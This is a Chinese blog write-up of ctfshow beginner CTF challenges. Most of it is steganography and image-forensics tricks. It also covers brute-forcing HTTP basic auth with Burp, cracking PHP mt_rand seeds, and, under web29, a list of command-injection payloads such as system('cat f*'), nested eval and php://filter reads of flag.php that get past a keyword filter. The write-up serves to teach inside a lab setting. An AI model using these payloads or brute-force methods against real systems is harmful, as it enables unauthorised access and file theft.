[ctfshow]入门4

 

目录

 

萌新隐写6

misc21

misc22

misc23

misc41

misc24

misc25

misc26

misc27

misc28

misc29

misc30

misc31

misc32,33

misc34

misc35

misc36

misc37

misc38

misc39

misc40

爆破:

web21

方法1

方法2

web23

web24

web25

web26

web27

 web28

命令执行

web29


萌新隐写6

用工具打开,注意最上方。发现左声道是摩斯电码

​​​​

 将蓝图标移到最左边。导出文件

这里我导出以wav形式 ,看大佬说可以导出Mp3,但是我导出后听不出来

用这个网站听取摩斯电码音频

misc21

  • hex()是将十进制转为十六进制

借助EXIF查看器,找到序列,进行十六进制转换

拼接两处

misc22

打开010editor,搜索jpg文件头FFD8分别分离出来,就看到了flag

也可以用工具magicexif 

misc23

Hint:flag在时间里。

kali下载exiftool进行查看

 借助时间戳网址时间戳转换网址,一一转换拼接得flag

misc41

jpg文件头FFD8FF,文件尾FFD9。打开010editor只看到了文件尾。原来是直接搜索F001,直接看到了flagz 

misc24

bmp图片计算图片宽高,一般图片都是900px*150px

 查看文件头,占53个字节

 一个像素=3个字节

 一共675053个字节,后面两个是windows补0.

像素数=(675053-53)/3=225000=宽*高

高=225000/900=250

转换为十六进制是FA

misc25

随便改高出来flag

misc26

借助脚本

import struct
import binascii
import os

m = open(r"C:/Users/Lenovo/Desktop/misc26.png", "rb").read()
k = 0
for i in range(5000):
    if k == 1:
        break
    for j in range(5000):
        c = m[12:16] + struct.pack('>i', i) + struct.pack('>i', j)+m[24:29]
        crc = binascii.crc32(c) & 0xffffffff
        if crc == 0xec9ccbc6:
            k = 1
            print(hex(i), hex(j))
            break

misc27

多修改试试,高出不来就试试宽

misc28

解锁一种修改宽高新姿势

 

 打开原图发现没有变化,那就用stegsolve打开 

misc29

思路和上一题一样,但由于是动图,需要修改每一帧的高度,最后用stegsolve一个个翻,得出flag

misc30

 修改高度

misc31

思路和misc24一样,最后算出宽为1082

misc32,33

思路和misc26一样,借助脚本

misc34

下载图片png.同样借助脚本,

import zlib
import struct
filename = "C:/Users/Lenovo/Desktop/misc34.png"
with open(filename, 'rb') as f:
    all_b = f.read()
#w = all_b[16:20]
#h = all_b[20:24]
    for i in range(901,1200):
        name = str(i) + ".png"
        f1 = open(name,"wb")
    im = all_b[:16]+struct.pack('>i',i)+all_b[20:]
    f1.write(im)
    f1.close()

misc35

下载图片jpg,同时修改图片高度

import zlib
import struct
filename = "C:/Users/Goodric/Desktop/misc35.jpg"
with open(filename, 'rb') as f:
all_b = f.read()
#w = all_b[159:161]
#h = all_b[157:159]
for i in range(901,1200):
name = str(i) + ".jpg"
f1 = open(name,"wb")
im = all_b[:159]+struct.pack('>h',i)+all_b[161:]
f1.write(im)
f1.close()

misc36

下载动图gif,修改高度后用脚本

import zlib
import struct
filename = "misc36.gif"
with open(filename, 'rb') as f:
    all_b = f.read()
    for i in range(920,951):
        name = str(i) + ".gif"
        f1 = open(name,"wb")
        im = all_b[:38]+struct.pack('>h',i)[::-1]+all_b[40:]
        f1.write(im)
        f1.close()

misc37

下载动图gif,放在stegsolve一个个翻出来

misc38

下载图片png,但是打开010editor发现

 这是区分png和apng的关键

这里推荐用apngdisassembler直接分离每一帧,找找就好了。

misc39

这题也是一个gif,不过这里是利用不同帧之间的间隔时间来隐写的。

这里利用linux下的工具identify

安装命令:sudo apt-get install imagemagick
基本的命令格式:
  identify [options] input-file

  identify:命令名称
  options:参数
  input-file:文件名。
提取命令:identify -format "%T " misc39.gif > 1.txt

得到的一串36和37,考虑把37换成1、36换成0,就得到长度为287的二进制字符串,因为flag是41字符,考虑每7位转一个字符(正常是8位一组),得到flag。 

s="11000111110100110011011100111101000110111111101111111011011010101100100111000011000101100101100110110011001110010111001011010111001101100010011011111000101100101011001001101100111000110010001110010110110011001111000010111001110010111000101100011110000101100000110100011010101110011111101"
flag=""
for i in range(41): #287//7
    flag += chr(int(s[7*i:7*(i+1)],2))
print(flag)

misc40

这题给了个apng,因为也是动态的,所以思路同上题。

在做misc38的时候使用了工具APNG Disassembler,当时分离出来的除了每一帧的图片外,还有一个记录了详细信息的txt文件,里面就有我们需要的信息,然后就是写脚本了。

flag=""
for i in range(28,69): #flag内容从28位开始
    f = open('apngframe'+str(i)+'.txt')
    s = f.read()
    flag += chr(int(s.split("/")[0][6:]))
print(flag)

爆破:

web21

方法1

出现basic,用base64解密发现就是输入的用户密码。那就丢进intruder爆破 

 注意:Payload Encode 取消勾选的 URL-encode, 不然你会看到 base64 之后的 = 会被转成 %3d

方法2

tomcat 认证爆破之custom iterator使用

web23

对substr()函数的理解

 第2,15,18数字相等,且第2个数+第15个数+ 第18个数/第二个数=第32个数

学习一个php脚本

<?php
$dict = "0123456789qwertyuiopasdfghjklzxcvbnm";

for ($i = 0;$i < 36;$i++){
    for ($j = 0;$j<36;$j++){
        $token=md5($dict[$i].$dict[$j]);
        if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
            if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
                echo ('原字符串为:'.$dict[$i].$dict[$j]),PHP_EOL;
                echo ('加密后字符串为:'.$token);
            }
        }
    }
}
?>

解出结果为3j  

web24

打开题目发现如下页面

参考这一篇php随机函数mt_rand()产生的小问题大漏洞 

  •  做测试发现,不管测试几次,产生的随机数不会变。那就让r=测试数
  • intval()

<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
?>

 总结:intval()函数功能

1、参数一定是数字否则会报错,

2、如果是数字那一定是整数,如果有小点,那会省略掉,

3,强调参数可以有“-”值。

4、参数第一位不应为0开头,不然会自动转换十进制。 

web25

  •  if((!$rand)) 表示 $rand==0,$rand = intval($r)-intval(mt_rand()); ,那么可知 $r==mt_rand 
  • COOKIE 中传入的值token是 mt_rand()+mt_rand()
  •  因为生成的随机数可以说是一个线性变换(实际上非常复杂)的每一次的确定的但是每一次是不一样的,所以不能 进行第一次*2就得到mt_rand()+mt_rand() 使用说只要我们得到种子就可以在本地进行获得自己想要的值 解题

这里用到工具php_mt_seed,在kali运行

我们用?r=0得到随机数

972219911

打开kali

将下载的php_mt_seed拖入文件,右击文件php_mt_seed.c.点Open terminal here 

先输入make ,然后 ./php_mt_seed 随机数

可以看到爆破出几个seed。用代码试试

<?php
    mt_srand(137241821);
    echo mt_rand().'<br>';
?>

 发现137241821得到的随机数是97221991

在写代码得到r和cookie

<?php
    mt_srand(137241821);
    echo mt_rand().'<br>';
    echo mt_rand()+mt_rand();
?>

最后在burpsuite里面输入值

web26

提交空链表,抓包得flag 

web27

用burpsuite的data模块爆破日期 

打开有个表 

这里需要提交

进行爆破 

 爆破后 得到一串uncode编码,解析得到flag

 web28

爆破目录去掉2.txt, 设置从0~100,使用Cluster bomb模块

命令执行

web29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

绕过特殊字符过滤

  • preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0

?c=system('ls');//flag.php index.php
?c=system('cat f*');//glob1
?c=system('cat f?ag.php');//glob2
?c=system('cat f\lag.php');//转义字符实现绕过
?c=system("cat f''lag.php");
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php//直接将题目变成文件包含漏洞
?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值